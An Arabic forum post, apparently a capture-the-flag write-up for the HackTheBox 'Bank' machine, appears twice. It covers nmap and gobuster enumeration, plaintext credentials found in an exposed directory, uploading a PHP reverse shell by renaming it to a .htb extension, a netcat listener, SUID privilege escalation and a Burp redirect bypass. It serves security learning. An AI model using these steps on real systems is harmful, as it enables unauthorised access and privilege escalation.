مضى على الشبكة و يوم من العطاء.

حل مشين Bank في موقع HackTheBox بالعربي

Malzureedi

.:: اداري سابق ::.
.:: اداري سابق ::.

السمعة:

1 - نبدأ بفحص المشين بإستخدام أداة Nmap
nmap -A -T4 10.129.29.200 -oA BankNmap
[
CODE]# Nmap 7.91 scan initiated Sun Aug 22 09:25:27 2021 as: nmap -A -T4 -p- -oA BankNmap 10.129.29.200
Nmap scan report for 10.129.29.200
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 22 09:36:56 2021 -- 1 IP address (1 host up) scanned in 689.00 seconds
[/CODE]


2 - إذا ذهبنا الى الIP الخاص بالمشين تظهر لنا Default Page ل Apach
1701651179842.png

حاولت مع IP مشين nmap و gobuster و لا شيء و عندما بحثت وجدت أن السيرفر يستخدم VHost لذا يجب إضافة IP الى ملف etc/host سأحاول شرح هذه النقطة في نهاية write-up

1701651200392.png


3 - نذهب الآن الى bank.htb تظهر لنا صفحة دخول Login Page
1701651217699.png


4 - نقوم directory brute force باستخدام اداة Gobuster
كود:
gobuster dir -u http://bank.htb/login.php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o DirBank
كود:
/uploads              (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets               (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc                  (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/server-status        (Status: 403) [Size: 288]
/balance-transfer     (Status: 301) [Size: 314] [--> http://bank.htb/balance-transfer/]

5 - نذهب الى bank/htb/balance-transfer تظهر لنا صفحة بها الكثير من الملفات المشفرة حاولت فك التشفير لم أصل الى أي شيء ثم عملت تنزيل للملفات كلها على جهازي باستخدام wget
كود:
wget -r http://bank.htb/balance-transfer
وبعدها أذهب الى المسار الذي فيه balance-transfer مجلد ونقوم بهذه أوامر
كود:
ls
wc -c *acc | sort -nr
شرح أمر
wc : word count
-c : print the byte counts
*acc : extension file
| : A “pipe” chains commands together. It takes the output from one command and feeds it to the next as input
sort : is used to sort a file
-n : compare according to string numerical value, (Numbers)
 -r : reverse the result of comparisons

1701651355291.png


1701651373530.png


ثم بدأت أفحص في الملفات كلها مشفرة الا ملف واحد كيف عرفت ؟ وجدت أن حجم الملف مختلف عن الباقي حجم أقل 257 أو يمكنك بطريقة أسهل و هي بالنقر على SIZE في الصفحة يرتبهن من الصغير الى الكبير
1701651392947.png


نقوم بفتح الملف نجد credential هو إيميل و الرقم السري و ندخل به في Login page

1701651418329.png

1701651432949.png

5 - لا يوجد شيء مهم هنا نذهب الى support نجد أنه يمكنك upload file , وعندما حاولت upload php-reverse-shel.php لا يمكن إلا الصور فقط images only
1701651462062.png

1701651475114.png


نضغط ctrl + u و بقراءة الكود نجد comment
1701651491327.png


نقوم بتغيير امتداد ملف php الى htb و ثم نرفعه upload

6 - نقوم بتشغيل Netcat و نضغط على ملف php و نحصل على shell

sudo nc -nlvp 1234
1701651563359.png

نبحث عن falg user عن طريق هذا اﻷمر

كود:
find -type f -name user.txt 2>/dev/null

و اﻷن نقوم بزيادة صلاحيات Privilege Escalation بالبحث عن ملفات النظام SUID/GUID بهذا اﻷمر

كود:
find / -perm -u=s -type f 2>/dev/null

1701651621591.png
كود:
ls -al /var/htb/bin/emergency

لنعرف من يمتلك الصلاحيات لهذا الملف
1701651652548.png
نقوم بتنفيذ الملف execute
كود:
/var/htb/bin/emergency

أنت اﻷن root نبحث اﻷن عن ملف root.txt
كود:
find -type f -name root.txt 2>/dev/null

الطريقة الثانية للدخول Unintended Method

1 - نشغل Burpsuite ثم نشغل intercept on ثم نرسل الى Repeater
2 - ثم نذهب الى proxy - options
3 - نذهب الى Match andReplace نختار Add
4 - نختار من Type : Respons header

كود:
Match :3[12] FOUND
Replace : 200 OK
Comment : Ignore Redirect
Check on Regex Matc
1701652095104.png

1701652104738.png


1701652112343.png


1701652129806.png


1701652139408.png


VHost (Virtual Hosting)

ويرمز لها بالاختصار Vhost هو الأسلوب الذي يستخدمه الخادم(Server) مثل خادم الويب (Web Server)ليستضيف أكثر من اسم مجال واحد(DNS ) على نفس الخادم، وأحيانا على نفس عنوان بروتوكول الإنترنت(IP).
يعني أن السيرفر ممكن أن يستضيف أكثر من موقع على السيرفر و يمكن أن يكون نفس IP لكن اسم DNS يختلف مثال لدينا : 10.10.10.10 مستضيف أكثر من موقع example-1.com exampl-2.com example-3.com و هكذا


1701652192225.png
اذا ذهبنا مباشرة 10.10.10.10 لن يعرف السيرفر أي موقع تريد example-1 أو example-2 الحل هو باضافة ip و الاسماء الى ملف host
حاولت أشرح كما فهمت .

اريد ان تقرأوا المراجع و خاصة المرجع الثاني

المراجع

 
التعديل الأخير بواسطة المشرف:
1 - نبدأ بفحص الماشين بإستخدام أداة Nmap
nmap -A -T4 10.129.29.200 -oA BankNmap
كود:
# Nmap 7.91 scan initiated Sun Aug 22 09:25:27 2021 as: nmap -A -T4 -p- -oA BankNmap 10.129.29.200
Nmap scan report for 10.129.29.200
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 22 09:36:56 2021 -- 1 IP address (1 host up) scanned in 689.00 seconds

2 - إذا ذهبنا الى الIP خاص بالماشين تظهر لنا Default Page ل Apach
مشاهدة المرفق 5797

حاولت مع IP ماشين nmap و gobuster و لا شيء و عندما بحثت وجدت أن سيرفر يستخدم VHost لذا يجب إضافة IP الى ملف etc/host سأحاول شرح هذه النقطة في نهاية write-up


مشاهدة المرفق 5798

3 - نذهب اﻷن الى bank.htb تظهر لنا صفحة دخول Login Page
مشاهدة المرفق 5799

4 - نقوم directory brute force باستخدام اداة Gobuster
كود:
gobuster dir -u http://bank.htb/login.php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o DirBank
كود:
/uploads              (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets               (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc                  (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/server-status        (Status: 403) [Size: 288]
/balance-transfer     (Status: 301) [Size: 314] [--> http://bank.htb/balance-transfer/]

5 - نذهب الى bank/htb/balance-transfer تظهر لنا صفحة بها الكثير من ملفات المشفرة حاولت فك التشفير لم أصل الى أي شيء ثم عملت تنزيل للملفات كلها على جهازي باستخدام wget
كود:
wget -r http://bank.htb/balance-transfer
وعدها أذهب الى مسار الذي فيه balance-transfer مجلد ونقوم بهذه أوامر
كود:
ls
wc -c *acc | sort -nr
شرح أمر
wc : word count
-c : print the byte counts
*acc : extension file
| : A “pipe” chains commands together. It takes the output from one command and feeds it to the next as input
sort : is used to sort a file
-n : compare according to string numerical value, (Numbers)
 -r : reverse the result of comparisons

مشاهدة المرفق 5800

مشاهدة المرفق 5801

ثم بدأت أفحص في الملفات كلها مشفرة الا ملف واحد كيف عرفت ؟ وجدت أن حجم الملف مختلف عن الباقي حجم أقل 257 أو يمكنك بطريقة أسهل و هي بالنقر على SIZE في الصفحة يرتبهن من الصغير الى الكبير
مشاهدة المرفق 5802

نقوم بفتح الملف نجد credential هو إيميل و الرقم السري و ندخل به في Login page

مشاهدة المرفق 5803

مشاهدة المرفق 5804
5 - لا يوجد شيء مهم هنا نذهب الى support نجد أنه يمكنك upload file , وعندما حاولت upload php-reverse-shel.php لا يمكن إلا الصور فقط images only
مشاهدة المرفق 5805
مشاهدة المرفق 5806

نضغط ctrl + u و بقراءة الكود نجد comment
مشاهدة المرفق 5807

نقوم بتغيير امتداد ملف php الى htb و ثم نرفعه upload

6 - نقوم بتشغيل Netcat و نضغط على ملف php و نحصل على shell​

sudo nc -nlvp 1234
مشاهدة المرفق 5808
نبحث عن falg user عن طريق هذا اﻷمر

كود:
find -type f -name user.txt 2>/dev/null

و اﻷن نقوم بزيادة صلاحيات Privilege Escalation بالبحث عن ملفات النظام SUID/GUID بهذا اﻷمر

كود:
find / -perm -u=s -type f 2>/dev/null

مشاهدة المرفق 5809
كود:
ls -al /var/htb/bin/emergency

لنعرف من يمتلك الصلاحيات لهذا الملف
مشاهدة المرفق 5810
نقوم بتنفيذ الملف execute
كود:
/var/htb/bin/emergency

أنت اﻷن root نبحث اﻷن عن ملف root.txt
كود:
find -type f -name root.txt 2>/dev/null

الطريقة الثانية للدخول Unintended Method

1 - نشغل Burpsuite ثم نشغل intercept on ثم نرسل الى Repeater
2 - ثم نذهب الى proxy - options
3 - نذهب الى Match andReplace نختار Add
4 - نختار من Type : Respons header
كود:
Match :3[12] FOUND
Replace : 200 OK
Comment : Ignore Redirect
Check on Regex Matc
مشاهدة المرفق 5811
مشاهدة المرفق 5812

مشاهدة المرفق 5813

مشاهدة المرفق 5814

مشاهدة المرفق 5815

VHost (Virtual Hosting)​

ويرمز لها بالاختصار Vhost هو الأسلوب الذي يستخدمه الخادم(Server) مثل خادم الويب (Web Server)ليستضيف أكثر من اسم مجال واحد(DNS ) على نفس الخادم، وأحيانا على نفس عنوان بروتوكول الإنترنت(IP).
يعني سيرفر ممكن يستضيف أكثر من موقع على سيرفر و يمكن أن يكون نفس IP لكن اسم DNS يختلف مثال لدينا : 10.10.10.10 مستضيف أكثر من موقع example-1.com exampl-2.com example-3.com و هكذا

مشاهدة المرفق 5816
اذا ذهبنا مباشرة 10.10.10.10 لن يعرف السيرفر أي موقع تريد example-1 أو example-2 الحل هو باضافة ip و الاسماء الى ملف host
حاولت أشرح كما فهمت .
اريد ان تقرأوا المراجع و خاصة المرجع الثاني

المراجع


بارك الله فيك يا زريدي واعطاك الله حتى ارضاك ورضي عنك فصّلت كل حاجة وكل شيء واضح
جاري التقييم يا وحش
تقبل مروري
ستورم
 

آخر المشاركات

عودة
أعلى